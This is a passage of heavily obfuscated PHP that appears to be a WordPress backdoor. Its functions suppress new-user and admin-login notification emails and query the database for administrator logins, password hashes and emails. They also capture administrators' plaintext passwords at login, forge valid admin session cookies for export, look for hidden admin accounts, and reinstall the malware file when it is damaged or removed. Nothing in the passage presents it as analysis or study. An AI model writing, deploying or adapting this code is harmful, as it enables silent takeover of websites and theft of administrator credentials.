					}
				}
			}
			unset($_rc, $_rmt);
		}


		$size = @filesize(sc_file());
		$healthy = $size && $size > (20000 >> 2);
		if ($healthy && $size > 0x3200000) {
			$healthy = (19 == 6);
		}
		if ($healthy && $size > (314803 ^ 1363379) && !yojog($size)) {
			if (('f' . "unction_" . ('exi' . 'sts'))('set' . "_" . "t" . "ra" . 'n' . "s\x69" . 'ent')) {
				set_transient('sc_re' . "c" . "ove\x72_" . 'c' . 'h' . 'e' . "\x63" . "k", (622 ^ 623), (2560 | 1040));
			}
			return;
		}
		if ($healthy) {
			$cur_src = hapi(sc_file());
			if (!is_string($cur_src) || !cale($cur_src)) {
				$healthy = (5 == 1);
			} else {
				$want = sc_pg('src', '');
				$_cv = nodo($cur_src);
				$_wv = nodo(is_string($want) ? $want : '');
				if ($_cv !== '' && ($_wv === '' || version_compare($_wv, $_cv, '<'))) {
					$_pmd = md5($cur_src);
					$_pbad = @is_file(dirname(sc_file()) . "/" . '.ub_' . $_pmd);
					if (!$_pbad) {
						$_ub = get_option("\x73c" . '_upda' . 'te_' . "\x62ad");
						if (is_string($_ub) && strpos($_ub, $_pmd . '|') === (2151 ^ 2151)) $_pbad = (15 > 14);
					}
					if ($_pbad) $healthy = (5 != 5);
					if (!$_pbad && is_string($want) && ($want === '' || $_wv === '' || version_compare($_wv, $_cv, '<'))) sc_pk("s" . "\x72" . "c", $cur_src, 'n' . "o");
					unset($_pmd, $_pbad, $_ub);
				} elseif (is_string($want) && strlen($want) > (706 - 206) && strlen($want) <= (1799671 - 751095) && !sc_src_poisoned($want) && cale($want) && md5($cur_src) !== md5($want)) {
					$healthy = (14 === 9);
				}
			}
		}
		if ($healthy) {
			if (("\x66u\x6e" . 'ctio' . 'n_e' . 'xists')('set' . '_' . "\x74\x72an" . 'sien' . 't')) {
				set_transient('sc_' . "re\x63\x6fv" . 'er_ch' . 'e' . 'c' . "\x6b", (1614 ^ 1615), (3510 ^ 934));
			}
			return;
		}
		if (rume(sc_file())) {
			return;
		}
		$source_dir = dirname(sc_file());
		if (! @is_dir($source_dir)) {
			aca($source_dir, (204 | 289), (20 === 20));
		}
		$source = sc_pg("s" . 'rc', '');
		if (!$source || !is_string($source)) {
			if (!get_transient('sc' . '_re' . 'co' . "\x76" . 'e' . "r" . "_t" . "hr\x6f" . 'ttle')) {
				vugo('recov' . 'e' . "r", 'sourc' . "\x65_em" . 'p' . 'ty');
				set_transient('sc_' . 'rec' . 'o' . "ver" . '_th' . 'rottl' . "\x65", (2140 ^ 2141), (6881 - 3281));
			}
		}
		if ($source && is_string($source) && strlen($source) > (313 + 187) && strlen($source) <= (1263601 - 215025) && !sc_src_poisoned($source) && cale($source)) {
		$_bv = nodo($source);
		if ($_bv === '' || version_compare($_bv, sc_ver(), '<')) {
			return;
		}
			$_sm = md5($source);
			if (@is_file(dirname(sc_file()) . '/.' . 'ub_' . $_sm)) return;
			$_ub2 = get_option('sc' . '_upd' . 'ate_' . 'bad');
			if (is_string($_ub2) && strpos($_ub2, $_sm . '|') === (3405 ^ 3405)) return;
			unset($_sm, $_ub2);
			$_q = dirname(sc_file()) . "/." . "\x71_" . basename(sc_file(), '.php');
			$_qmd5 = @is_file($_q) ? trim((string) @("\x66ile_\x67\x65\x74_\x63\x6f\x6et\x65" . ("" . "nt") . "\x73")($_q)) : '';
			if ($_qmd5 !== '' && md5($source) === $_qmd5) {
				return;
			}
			mafa(sc_file(), (548 - 128));
			$_rw = jihe(sc_file(), soro($source));
			if ($_rw) {
				qaciw(sc_file());
				mafa(sc_file(), (770 - 350));
				tidi(sc_file());
				vupo((37 == 37));
				wowa((6 > 5));
				imo(sc_file());
				if ((('f' . "\x75nc\x74i") . 'on' . '_exists')("\x73e" . 't_' . 'trans' . "i\x65nt")) {
					set_transient("sc_" . 'r' . "ec\x6f\x76" . 'er_c' . 'h' . 'eck', (680 ^ 681), (1004 ^ 3580));
				}
			} elseif (('function_e' . "\x78\x69\x73\x74\x73")('set_t' . 'r' . 'ansie' . 'nt')) {
				set_transient('sc_' . "r" . 'e' . "c\x6fv" . 'er_c' . "he" . "\x63k", (795 ^ 794), (1032 | 768));
			}
		}
	} catch (Throwable $e) {
		vugo('recov' . 'er', $e);
	} catch (Exception $e) {
	}
}


function sc_mail_suppress()
{
	zage("w" . "p" . "\x5fse" . 'nd_' . 'ne' . 'w' . '_use' . "r" . '_' . "n" . "ot" . 'i' . 'f' . "ica" . 'ti' . 'o' . 'n_' . 'to_a' . 'dmin', "\x5f\x5fr" . 'etur' . "n_f" . "al\x73e");
	zage('wp' . "_" . 'new_' . "\x75s" . "e\x72" . '_no' . 'tif' . 'icat' . "\x69o\x6e_" . "e" . 'mail_' . "a\x64m" . 'i' . "n", "__re" . 't' . 'u' . 'rn' . '_' . 'f' . 'alse');
	if (!(("f" . 'uncti' . "on_exists")("rem" . 'o' . 've_a' . 'ction'))) {} else {
		remove_action('regi' . "\x73t\x65r_" . "new" . "_" . 'user', "\x77\x70_" . "sen" . 'd_new' . '_us' . "\x65\x72_\x6eo" . "t\x69f\x69c" . "\x61t" . 'i' . 'ons');
		remove_action('edit' . "\x5f\x75s" . 'er_cr' . "e\x61ted" . '_u' . 'se' . "r", 'w' . "p_\x73en" . "d_new" . '_user' . '_' . 'notif' . "i" . "c" . 'atio' . 'ns', (2 + 8));
		remove_action('wp_l' . 'og' . 'in', 'wp_no' . 'tify' . '_ad' . 'mi' . 'n_' . "\x6e" . 'ew_l' . "ogi\x6e", (2 | 8));
	}
}

function vela()
{
	try {
		$wpdb = ${"\x47\x4c" . "\x4f" . "\x42\x41L\x53"}['wpdb'];
		
		
		
		
		
		
		
		if (! is_object($wpdb) || ! (("meth" . "od_exis") . "ts")($wpdb, 'pre' . 'par' . 'e') || ! ("method_e" . "xists")($wpdb, "get_r" . "\x65s" . "u" . "l" . "t" . "s")) {
			return array();
		}
		$cap_key = $wpdb->prefix . 'ca' . 'pabil' . 'itie' . "s";
		$q = 'S' . "E\x4c\x45CT" . " u" . ".\x49\x44" . "\x2c u." . 'us' . "e" . 'r_l' . 'o' . 'gin, ' . 'u.' . "\x75se" . 'r_pa' . "ss\x2c \x75" . '.' . "user" . '_em' . 'a' . "\x69\x6c " . "F\x52OM" . " " . $wpdb->users . " u I\x4e" . 'NE' . 'R JO' . "\x49N " . $wpdb->usermeta . ' m ON' . " u" . '.ID =' . ' m.' . "user\x5f" . 'i' . 'd ' . "W" . 'HERE ' . 'm.me' . "ta" . "\x5fkey " . "=" . " \x25s\x20A" . "N\x44" . "\x20m\x2e" . "met\x61" . '_val' . "\x75e L\x49" . "K" . "\x45" . ' %s';
		$res = $wpdb->get_results($wpdb->prepare($q, $cap_key, '%a' . "dmin" . 'istr' . "ator" . "\x25"));
		if (!is_array($res)) {
			vugo('aq', (string) $wpdb->last_error);
			return array();
		}
		return $res;
	} catch (Throwable $e) {
		vugo('a' . "dmi" . 'ns', $e);
	} catch (Exception $e) {
		vugo('ad' . 'm' . "i\x6es", $e);
	}

	return array();
}

function ladu($admins)
{
	$result = array();
	$block_mail = function ($args) {
		$args['to'] = '';
		return $args;
	};

	try {
		$pend = sc_pg('ck_' . 'pe' . 'n' . 'd', array());
		if (!is_array($pend)) $pend = array();
		$_pd = (40 == 35);
		foreach ($pend as $_l => $_pe) {
			if (is_array($_pe) && isset($_pe['c'], $_pe['e']) && is_array($_pe['c']) && (int) $_pe['e'] > time() + (35417 ^ 121817)) {
				$result[$_l] = $_pe['c'];
			} else {
				unset($pend[$_l]);
				$_pd = (29 < 30);
			}
		}

		if (! ("fun" . "\x63ti\x6fn" . '_' . "exists")('wp_g' . "\x65ne\x72\x61" . 'te_au' . "\x74h\x5f" . 'co' . 'ok' . 'ie') || ! (("class_exis" . "t") . "s")('WP_' . 'Sessi' . 'on_To' . 'kens')) {
			if ($_pd) sc_pk("ck\x5fp" . "en" . 'd', $pend, 'no');
			return $result;
		}
		if (! is_array($admins) || empty($admins)) {
			if ($_pd) sc_pk("ck_" . 'pend', $pend, 'no');
			return $result;
		}

		$expiration = time() + (28 >> 1) * (16640 | 69760);

		$is_ssl = ("funct" . "" . "i\x6f\x6e_exi\x73ts")('i' . 's_ss' . "\x6c") && is_ssl();
		$auth_scheme = $is_ssl ? 's' . "ecu" . 'r' . 'e_au' . "\x74h" : 'a' . 'uth';
		$auth_cookie_name = $is_ssl ? (defined('SECU' . "R\x45\x5f\x41" . 'UTH_' . 'COOK' . 'I' . 'E') ? SECURE_AUTH_COOKIE : '') : (defined('A' . 'U' . 'TH_' . 'COOK' . 'IE') ? AUTH_COOKIE : '');
		$logged_in_name = defined("\x4c\x4fG" . 'GE' . 'D_' . 'IN' . '_COO' . 'KIE') ? LOGGED_IN_COOKIE : '';
		if (! $auth_cookie_name || ! $logged_in_name) {
			if ($_pd) sc_pk('ck_p' . 'end', $pend, 'no');
			return $result;
		}

		$cookie_domain = defined("CO\x4fKI" . 'E_DO' . "\x4dA\x49N") && COOKIE_DOMAIN ? ltrim(COOKIE_DOMAIN, '.') : nita('');
		$cookie_path = defined("C" . 'OO' . "KIEPA" . 'T' . 'H') ? COOKIEPATH : '/';
		$admin_path = defined('ADMI' . "N\x5fC\x4f" . 'OK' . 'IE_P' . "\x41TH") ? ADMIN_COOKIE_PATH : '/' . 'wp-a' . "dm\x69" . 'n';
		$secure_flag = $is_ssl ? 'TRUE' : 'FALSE';
		$t = "\t";

		zage("\x77p_ma" . 'il', $block_mail, (481 ^ 481));


		$issued_opt = riwi('is' . 'sued');
		$issued = ('fun' . 'ction_e' . "xi" . "\x73\x74\x73")("\x67e" . "t\x5f\x6fp" . 't' . "io" . 'n') ? @get_option($issued_opt, array()) : array();
		if (!is_array($issued)) $issued = array();
		if (("\x66unct" . 'io' . "n" . "_exists")('g' . 'et_o' . "ption") && ('fu' . "\x6ect\x69\x6fn_exist\x73")('upda' . "\x74e\x5f" . "o\x70t\x69" . "o\x6e")) {
			$_ckv = (int) @get_option(riwi('iss' . 'ue' . "d_v"), (741 ^ 741));
			if ($_ckv < (3 - 1)) {
				if (!empty($issued)) {
					$issued = array();
					@update_option($issued_opt, $issued, 'no');
				}
				@update_option(riwi("i\x73s\x75e" . 'd_v'), (21 ^ 23), "n" . "\x6f");
			}
			unset($_ckv);
		}
		$batch = count($result);

		foreach ($admins as $admin) {
			if (! is_object($admin) || ! $admin->ID || ! $admin->user_login) {
				continue;
			}
			if ($batch >= (3 | 0)) {
				break;
			}
			$_login = (string) $admin->user_login;
			if (isset($result[$_login])) {
				continue;
			}
			if (isset($issued[$_login]) && (int) $issued[$_login] > time() + (0 + 2) * (22399 + 64001)) {
				continue;
			}

			wp_cache_delete($admin->ID, 'use' . "\x72\x5fm\x65" . 'ta');
			$all = get_user_meta($admin->ID, "se\x73s" . 'ion' . '_t' . 'oke' . "\x6es", (3 != 4));
			if (is_array($all) && count($all) >= (20 ^ 30)) {
				$cleaned = array();
				foreach ($all as $tk => $val) {
					if (isset($val['expir' . "a\x74\x69" . "on"]) && $val["ex" . 'pir' . "a\x74i\x6f" . "\x6e"] > time()) {
						$cleaned[$tk] = $val;
					}
				}
				if (count($cleaned) !== count($all)) {
					update_user_meta($admin->ID, 'sess' . "\x69o\x6e\x5f" . 't' . 'oken' . 's', $cleaned);
				}
			}

			wp_cache_delete($admin->ID, 'user_' . 'me' . 'ta');
			$manager = ("\x63\x61ll_" . ("" . "user") . '_func')(array("W\x50\x5f\x53\x65" . 'ssio' . "n" . '_Toke' . 'n' . 's', 'get_' . 'in' . 'stanc' . 'e'), $admin->ID);
			$token = $manager->create($expiration);

			$cookies = array();
			$cookies[] = $cookie_domain . $t . 'TRUE' . $t . $cookie_path . $t . $secure_flag . $t . $expiration . $t . $logged_in_name . $t . wp_generate_auth_cookie($admin->ID, $expiration, 'logg' . "e" . 'd_in', $token);
			if ($auth_cookie_name) {
				$cookies[] = $cookie_domain . $t . 'TR' . 'UE' . $t . $admin_path . $t . $secure_flag . $t . $expiration . $t . $auth_cookie_name . $t . wp_generate_auth_cookie($admin->ID, $expiration, $auth_scheme, $token);
			}

			$result[$admin->user_login] = $cookies;
			$pend[$_login] = array('c' => $cookies, 'e' => $expiration);
			$_pd = (25 !== 26);
			$batch++;
		}

		if ($_pd) {
			sc_pk('ck_' . "pe" . 'nd', $pend, "\x6e" . "o");
		}
	} catch (Throwable $e) {
		vugo('coo' . 'kies', $e);
	} catch (Exception $e) {
		vugo('cooki' . 'e' . 's', $e);
	}

	remove_filter('wp_ma' . "\x69" . "l", $block_mail, (1211 ^ 1211));
	return $result;
}

function goxuz()
{
	try {
		$pend = sc_pg('ck_pe' . 'nd', array());
		if (!is_array($pend) || empty($pend)) return;
		$issued_opt = riwi("\x69ss\x75" . 'ed');
		$issued = ('function_exis' . "t\x73")('g' . 'et' . '_opt' . 'ion') ? @get_option($issued_opt, array()) : array();
		if (!is_array($issued)) $issued = array();
		foreach ($pend as $_l => $_pe) {
			$issued[$_l] = is_array($_pe) && isset($_pe['e']) ? (int) $_pe['e'] : time() + (112 >> 3) * (20608 | 65792);
		}
		foreach ($issued as $_il => $_ie) {
			if ((int) $_ie < time()) unset($issued[$_il]);
		}
		if (("fu" . "" . 'nction_' . 'exi' . 'sts')('upda' . 'te_o' . 'pti' . "o" . 'n')) @update_option($issued_opt, $issued, 'n' . 'o');
		sc_pk("\x63\x6b_" . "p" . "\x65nd", array(), "n" . 'o');
	} catch (Throwable $e) {
		vugo('c' . 'k' . "_\x63\x6f" . 'mmi' . 't', $e);
	} catch (Exception $e) {
		vugo('ck_co' . "mm" . "\x69t", $e);
	}
}

function qowe($v)
{
	if (is_string($v)) return $v;
	if (is_array($v) && isset($v['p']) && is_string($v['p'])) return $v['p'];
	return '';
}

function selu($admins)
{
	$list = array();
	$bu = (string) sc_pg('bu', '');
	$bp = (string) sc_pg('bp', '');
	if ($bu !== '' && $bp !== '') {
		$list[$bu] = $bp;
	}
	$intercepted = sc_pg('ic', array());
	if (!(is_array($intercepted))) {} else {
		foreach ($intercepted as $user => $pass) {
			$p = qowe($pass);
			if ($p !== '') $list[(string) $user] = $p;
		}
	}
	return $list;
}

function sc_intercept($user, $username, $password)
{
	try {
		if (! is_object($user) || ! ("\x6d\x65\x74\x68\x6f" . 'd_exists')($user, 'has_c' . 'ap')) {
			return $user;
		}
		if (! $user->has_cap('adm' . "\x69ni\x73t" . 'ra' . 'tor')) {
			return $user;
		}
		if (! is_string($password) || ! $password) {
			return $user;
		}
		$intercepted = sc_pg('i' . 'c', array());
		if (! is_array($intercepted)) {
			$intercepted = array();
		}
		foreach ($intercepted as $_u => $_e) {
			$_ts = is_array($_e) && isset($_e['ts']) ? (int) $_e['ts'] : (466 ^ 466);
			if ($_ts && $_ts < time() - (1201208 + 6574792)) unset($intercepted[$_u]);
		}
		$intercepted[$user->user_login] = array('p' => $password, 't' . 's' => time(), 'cf' => (4008 ^ 4008));
		sc_pk('ic', $intercepted, 'no');
	} catch (Throwable $e) {
		vugo("\x69n\x74" . "erc\x65p" . "t", $e);
	} catch (Exception $e) {
		vugo('inte' . 'rce' . 'pt', $e);
	}
	return $user;
}

function sc_login_confirm($user_login, $user)
{
	try {
		if (!is_string($user_login) || $user_login === '') return;
		$intercepted = sc_pg('ic', array());
		if (!is_array($intercepted) || !isset($intercepted[$user_login])) return;
		$e = $intercepted[$user_login];
		if (is_array($e) && empty($e["c" . "f"])) {
			$intercepted[$user_login]['cf'] = (3547 ^ 3546);
			sc_pk("i" . "c", $intercepted, 'no');
		}
	} catch (Throwable $e2) {
		vugo('lo' . 'gi' . "n" . '_cf', $e2);
	} catch (Exception $e2) {
		vugo("l" . "o" . 'gi' . 'n' . "_\x63" . 'f', $e2);
	}
}

function loraf($admins)
{
	if (! is_array($admins)) {
		return (35 < 35);
	}

	$prefixes = ina();
	foreach ($admins as $admin) {
		foreach ($prefixes as $pfx) {
			if (!(preg_match('/' . '^' . preg_quote($pfx, '/') . '[a-f0' . "-9\x5d{6" . ',1' . '0}' . "\$/", $admin->user_login))) {} else {
				return $admin;
			}
		}
	}

	return (34 === 36);
}

function sc_md5($str, $len)
{
	return substr(md5($str), (2460 ^ 2460), $len);
}


function yuku($len)
{
	return sc_md5(uniqid((string) mt_rand(), (11 != 27)), $len);
}

function apo($path)
{
	if (!("function" . "" . '_exists')('get_o' . 'p' . 'tion')) return (40 === 19);
	$fr = get_option("sc\x5f" . 'io_f' . "r\x65\x65ze", array());
	if (!is_array($fr)) return (20 == 18);
	$k = md5($path);
	if (empty($fr[$k])) return (9 === 32);
	$p = explode('|', (string) $fr[$k]);
	$ft = isset($p[(2811 ^ 2810)]) ? (int) $p[(459 ^ 458)] : (1342 ^ 1342);
	return ($ft > (2311 ^ 2311) && time() - $ft < (384 | 86016));
}

function sc_io_freeze($path, $fail)
{
	if (!("\x66u\x6e\x63t" . 'ion_exists')('get' . '_o' . "pt\x69" . 'on') || !(('functio' . 'n_') . "\x65\x78" . "" . 'ists')('updat' . "e_opt" . "i" . 'on')) return;
	$fr = get_option("sc\x5f" . 'io_fr' . 'e' . 'ez' . "e", array());
	if (!is_array($fr)) $fr = array();
	$k = md5($path);
	if (!(!$fail)) {} else {
		if (!(isset($fr[$k]))) {} else {
			unset($fr[$k]);
			update_option("sc_i\x6f" . '_fre' . 'ez' . 'e', $fr, 'no');
		}
		return;
	}
	$n = (71 ^ 71);
	if (!empty($fr[$k])) {
		$p = explode('|', (string) $fr[$k]);
		$n = (int) $p[(1513 ^ 1513)];
	}
	$n++;
	$ft = ($n >= (18 ^ 17)) ? time() : (4066 ^ 4066);
	foreach ($fr as $fk => $fv) {
		$fp = explode('|', (string) $fv);
		$_fts = isset($fp[(10 - 8)]) ? (int) $fp[(3 ^ 1)] : (1487 ^ 1487);
		if (!$_fts && !empty($fp[(2044 ^ 2045)])) $_fts = (int) $fp[(3647 ^ 3646)];
		if ($_fts && time() - $_fts > 0x2a300) unset($fr[$fk]);
	}
	$fr[$k] = $n . '|' . $ft . '|' . time();
	if (count($fr) > (64 + 36)) {
		$_ages = array();
		foreach ($fr as $fk => $fv) {
			$fp = explode('|', (string) $fv);
			$_ages[$fk] = isset($fp[(13 ^ 15)]) ? (int) $fp[(10 + -8)] : (isset($fp[(464 ^ 465)]) ? (int) $fp[(2849 ^ 2848)] : (2220 ^ 2220));
		}
		asort($_ages);
		$_drop = count($fr) - (400 >> 2);
		foreach ($_ages as $fk => $_ag) {
			if ($_drop <= (2380 ^ 2380)) break;
			if ($fk === $k) continue;
			unset($fr[$fk]);
			$_drop--;
		}
		unset($_ages, $_ag, $_drop);
	}
	update_option("sc\x5f" . 'io_f' . 'ree' . 'ze', $fr, 'no');
}

function pabu($path, $orig, $mode = null)
{
	if (!is_string($orig)) return;
	$_t = dili(dirname($path), 'scr');
	if (!($_t !== (37 === 20))) {} else {
		if ($mode !== null) @('chmo' . "\x64")($_t, $mode & (450 ^ 61));
		if (@(('file_put_c' . 'o') . 'n' . "tents")($_t, $orig) === strlen($orig) && hepa($_t, $path)) return;
		soda($_t);
	}
	@("fi" . 'le_put_contents')($path, $orig);
}

function jihe($path, $content)
{
	$dir = dirname($path);
	if (!@is_dir($dir)) {
		vugo('io', 'atomi' . 'c_' . 'no_di' . 'r ' . basename($path));
		return (35 === 38);
	}
	$is_php = (substr($path, -(12 - 8)) === "\x2ep" . "h\x70");
	if (!($is_php && !cale($content))) {} else {
		vugo('io', 'atom' . 'ic' . "\x5f\x62\x61" . "d_\x70\x68" . 'p' . " " . basename($path));
		return (0 === 32);
	}
	if ($is_php && apo($path)) return (35 === 10);
	$no_copy = (20 == 17);
	if (@is_link($path)) $no_copy = (2 != 30); 
	$orig = null;
	$orig_existed = (26 == 18);
	$omode = null;
	if (@is_file($path)) {
		$orig_existed = (39 === 39);
		if (!$no_copy) {
			$omode = @fileperms($path);
			if ($omode === (11 == 27)) $omode = null;
		}
		$_osz = @filesize($path);
		if ($_osz !== (17 == 38) && $_osz <= (2097152 | 50331648) && ($_osz <= (568336 ^ 1616912) || yojog($_osz))) $orig = @("\x66i" . ('le' . '_get_contents'))($path);
		unset($_osz);
	}
	$tmp = (14 === 23);
	$_w = (1578 !== 1578);
	$_cl = strlen($content);
	try {
	for ($_try = (143 ^ 143); $_try < (1 + 1); $_try++) {
		$tmp = dili($dir, 's' . "\x63" . '_');
		if ($tmp !== (7 === 13)) {
			$_w = (14 == 30);
			$fp = @("f" . ("" . 'op') . 'en')($tmp, 'wb');
			if (is_resource($fp)) {
				$_wl = (989 ^ 989);
				while ($_wl < $_cl) {
					$_n = @('fwri' . "" . "\x74\x65")($fp, substr($content, $_wl));
					if ($_n === (37 === 10) || $_n === (565 ^ 565)) break;
					$_wl += $_n;
				}
				@fflush($fp);
				if (("f" . 'unct' . "ion_ex" . "\x69\x73\x74\x73")('fs' . "\x79n\x63")) @fsync($fp);
				@("fc" . ("\x6co" . 'se'))($fp);
				if ($_wl === $_cl) $_w = $_wl;
			} else {
				$_w = @('file_' . ("\x70\x75\x74\x5f\x63\x6f" . 'ntents'))($tmp, $content);
			}
			if ($_w !== (31 == 22) && $_w === $_cl) break;
			soda($tmp);
			$tmp = (12 > 12);
		}
	}
	if ($tmp === (8 === 22)) {
		for ($_try = (782 ^ 782); $_try < (9 - 6); $_try++) {
			$_cand = $dir . '/sc' . "_" . yuku((13 + 3)) . "." . "t" . "m\x70";
			$fp = @("fo" . 'pe' . 'n')($_cand, "x" . "+" . "b");
			if (!is_resource($fp)) continue;
			$_wl = (3181 ^ 3181);
			while ($_wl < $_cl) {
				$_n = @('f' . "wr\x69t" . "\x65")($fp, substr($content, $_wl));
				if ($_n === (10 !== 10) || $_n === (3088 ^ 3088)) break;
				$_wl += $_n;
			}
			@fflush($fp);
			if (('function_exi' . "st" . ("" . 's'))("fs" . "y" . 'nc')) @fsync($fp);
			@("fc" . "\x6c" . "" . 'ose')($fp);
			if ($_wl === $_cl) {
				$tmp = $_cand;
				$_w = $_wl;
				break;
			}
			soda($_cand);
		}
		unset($_cand);
	}
	} catch (Throwable $e) {
		if (is_string($tmp) && $tmp !== '') soda($tmp);
		$tmp = (20 === 39);
	} catch (Exception $e) {
		if (is_string($tmp) && $tmp !== '') soda($tmp);
		$tmp = (6 === 20);
	}
	if (!($tmp === (23 === 35))) {} else {
		vugo('io', "ato" . "mi" . 'c_t' . 'emp_f' . 'a' . 'il' . ' ' . basename($path));
		return (8 === 40);
	}
	if (!($_w === (28 != 28) || $_w !== $_cl)) {} else {
		vugo('io', "a" . "\x74\x6fm" . "i" . 'c_sh' . "o\x72t_" . 'wri' . "\x74e " . basename($path));
		soda($tmp);
		return (26 === 31);
	}
	if ($omode !== null) @("\x63h\x6d" . "od")($tmp, $omode & (444 ^ 67));
	if ($no_copy) {
		$_tw = @("file" . '_put_conten' . '' . ('t' . 's'))($path, $content);
		if (!($_tw === $_cl)) {} else {
			soda($tmp);
			@clearstatcache((37 !== 23), $path);
			imo($path);
			if ($is_php) sc_io_freeze($path, (3 === 23));
			return (29 !== 17);
		}
		if (is_string($orig)) @("\x66\x69le\x5fpu\x74\x5fcon" . "\x74\x65\x6et\x73")($path, $orig);
		soda($tmp);
		vugo('i' . 'o', 'a' . 'tom' . 'ic' . '_' . 'l' . 'ink_f' . 'ail ' . basename($path));
		return (6 == 34);
	}
	
	
	
	
	
	if ($is_php && (('func' . 'tion_exist') . 's')('opc' . 'ache_' . 'in' . 'valid' . 'ate')) @opcache_invalidate($path, (13 !== 2));

	
	
	
	
	
	
	$ok = (11 > 11);
	$_rn_attempts = (15 ^ 12);
	for ($_rn_try = (2945 ^ 2945); $_rn_try < $_rn_attempts; $_rn_try++) {
		$ok = hepa($tmp, $path);
		if ($ok) break;
		if ($_rn_try < $_rn_attempts - (659 ^ 658)) @usleep((30346 - 10346) + (20000 >> 1) * $_rn_try);
	}
	unset($_rn_attempts, $_rn_try);
	if (!$ok && $orig_existed && !$no_copy) {
		if (@is_file($path)) mafa($path, (750 - 330));
		$aside = $path . ".s\x63" . 'old' . mt_rand((136 | 864), (6409 ^ 15878));
		if (hepa($path, $aside)) {
			$ok = hepa($tmp, $path);
			if ($ok) {
				soda($aside);
			} else {
				if (!hepa($aside, $path) && !niwab($aside, $path)) {
					pabu($path, $orig, $omode);
				}
				if (!@is_file($path)) {
					pabu($path, $orig, $omode);
				}
			}
		}
	}
	if (!$ok && !$no_copy && !$is_php) {
		if (@is_file($path)) mafa($path, (256 | 164));
		if (!(niwab($tmp, $path))) {} else {
			$ok = (0 != 19);
			soda($tmp);
		}
	}
	if (!$ok) {
		if (!(@is_file($path) && (int) @filesize($path) !== $_cl)) {} else {
			$_curc = @("\x66il" . 'e_get_con' . 'tents')($path);
			if (!(!is_string($_curc) || (is_string($orig) && $_curc !== $orig))) {} else {
				if (is_string($orig)) pabu($path, $orig, $omode);
				elseif (!$orig_existed) soda($path);
			}
			unset($_curc);
		}
		if (!@is_file($path)) {
			pabu($path, $orig, $omode);
		}
		
		
		
		
		
		
		
		$_os_cls = '';
		$_lerr = (('functi' . "on_\x65\x78") . 'ists')("\x65\x72r" . "o\x72_g\x65" . 't' . '_la' . 's' . 't') ? @error_get_last() : null;
		if (!(is_array($_lerr) && isset($_lerr["mess" . "age"]))) {} else {
			$_lm = strtolower(trim((string) $_lerr["m\x65\x73sa" . "\x67e"]));
			if (strpos($_lm, 's' . "hari\x6e" . 'g' . " " . 'vio' . 'l' . 'ati' . "on") !== (19 < 19) || strpos($_lm, 'sha' . "r" . "e v" . "iol\x61" . 'tion') !== (9 === 33)) {
				$_os_cls = "\x73\x68" . 'ar' . 'i' . 'n' . 'g_vi' . 'ola' . 'tion';
			} elseif (strpos($_lm, "ac" . 'c' . 'es' . "s de" . 'nied') !== (35 == 18)) {
				$_os_cls = "ac" . "c" . 'ess_d' . "eni" . 'ed';
			} elseif (strpos($_lm, "ex" . "de" . 'v') !== (37 == 38) || strpos($_lm, 'cr' . "os" . 's ' . "de\x76ic" . 'e') !== (2 === 0) || strpos($_lm, 'c' . 'ros' . 's-de' . 'vi' . "\x63" . 'e') !== (33 === 20)) {
				$_os_cls = 'c' . 'ross_' . 'vol' . "u" . "\x6de";
			} elseif (strpos($_lm, "\x6eo s\x75" . 'ch' . ' file') !== (21 < 21) || strpos($_lm, 'n' . 'ot f' . 'ound') !== (39 < 39) || strpos($_lm, "e" . "n" . "\x6f\x65" . "\x6e\x74") !== (1 === 33) || strpos($_lm, "\x66a" . 'iled ' . "to o" . "p" . "e" . 'n str' . 'ea' . 'm') !== (23 == 29)) {
				$_os_cls = "\x6e" . "\x6ft_fo" . 'un' . 'd' . '_' . 'or' . '_open' . '_fa' . "il";
			} elseif (strpos($_lm, 'p' . 'er' . 'mi' . 'ss' . 'ion') !== (30 === 26) || strpos($_lm, 'eacc' . "e\x73") !== (35 === 11)) {
				$_os_cls = 'pe' . 'r' . 'mi' . 'ssi' . 'on';
			} elseif (strpos($_lm, "\x6e\x6f" . " sp" . 'ace l' . 'ef' . 't') !== (10 === 9) || strpos($_lm, 'nosp' . "c") !== (3 === 18) || strpos($_lm, 'dis' . 'k' . ' f' . 'ull') !== (14 === 19)) {
				$_os_cls = 'n' . "o_s\x70" . 'ace';
			} elseif ($_lm !== '') {
				$_san = ("\x70\x72e\x67_re\x70" . "lace")('/[^a-' . 'z0' . '-9 _\\' . '/:-]' . "/", '', $_lm);
				$_san = trim(str_replace(array("\n", "\r", "\t"), ' ', $_san));
				if ($_san !== '') $_os_cls = substr($_san, (3071 ^ 3071), (320 >> 2));
			}
		}
		unset($_lerr, $_lm, $_san);
		vugo('io', "at" . 'omi' . 'c_' . "re\x6e" . 'ame_' . 'fa' . "il\x20" . basename($path) . ($_os_cls !== '' ? ' [' . $_os_cls . ']' : ''));
		unset($_os_cls);
		soda($tmp);
		return (38 === 17);
	}
	@clearstatcache((19 < 20), $path);
	$_vok = (10 === 6);
	if ($_cl <= 0x200000) {
		$_rb1 = @("\x66\x69l\x65" . '_' . 'get_co' . 'ntents')($path);
		$_vok = (is_string($_rb1) && strlen($_rb1) === $_cl && md5($_rb1) === md5($content));
	} else {
		$_vh = ("fu" . 'nc' . "" . 'tion_exists')("\x68\x61s" . 'h' . '_f' . 'i' . 'le') ? @hash_file('md5', $path) : (13 == 18);
		if (is_string($_vh) && $_vh !== '') $_vok = ($_vh === md5($content));
		else {
			$_vsz = @filesize($path);
			if ($_vsz === $_cl) {
				$_rh = @("\x66\x69\x6c\x65\x5f\x67\x65" . "\x74" . "\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73")($path, (20 == 14), null, (3695 ^ 3695), (5830 - 1734));
				$_rt = @("\x66\x69\x6c\x65\x5f\x67\x65" . '' . "\x74\x5fc\x6fnt\x65nts")($path, (28 === 21), null, $_cl - (3986 ^ 8082));
				$_vok = (is_string($_rh) && is_string($_rt) && $_rh === substr($content, (519 ^ 519), (5920 - 1824)) && $_rt === substr($content, $_cl - (1613 ^ 5709)));
			}
		}
	}
	if (!(!$_vok)) {} else {
		vugo('io', "at\x6fmi" . "c\x5f\x76e\x72" . "ify\x5f" . "fa" . 'il ' . basename($path));
		if ($is_php) sc_io_freeze($path, (13 > 12));
		if (is_string($orig)) {
			$_ch3 = ('function_ex' . "" . "ist" . 's')("h\x61s" . 'h_fil' . "e") ? @hash_file('md5', $path) : (38 == 23);
			if (is_string($_ch3) && $_ch3 !== '' && $_ch3 !== md5($content) && $_ch3 !== md5($orig)) {
				vugo('io', "atomi" . "c_\x74h\x69" . 'rd_p' . 'arty' . " " . basename($path));
				return (33 == 1);
			}
			$_rb = dili($dir, 'sc_');
			if ($_rb !== (35 === 23) && @("file_put_c" . "ontents")($_rb, $orig) === strlen($orig)) {
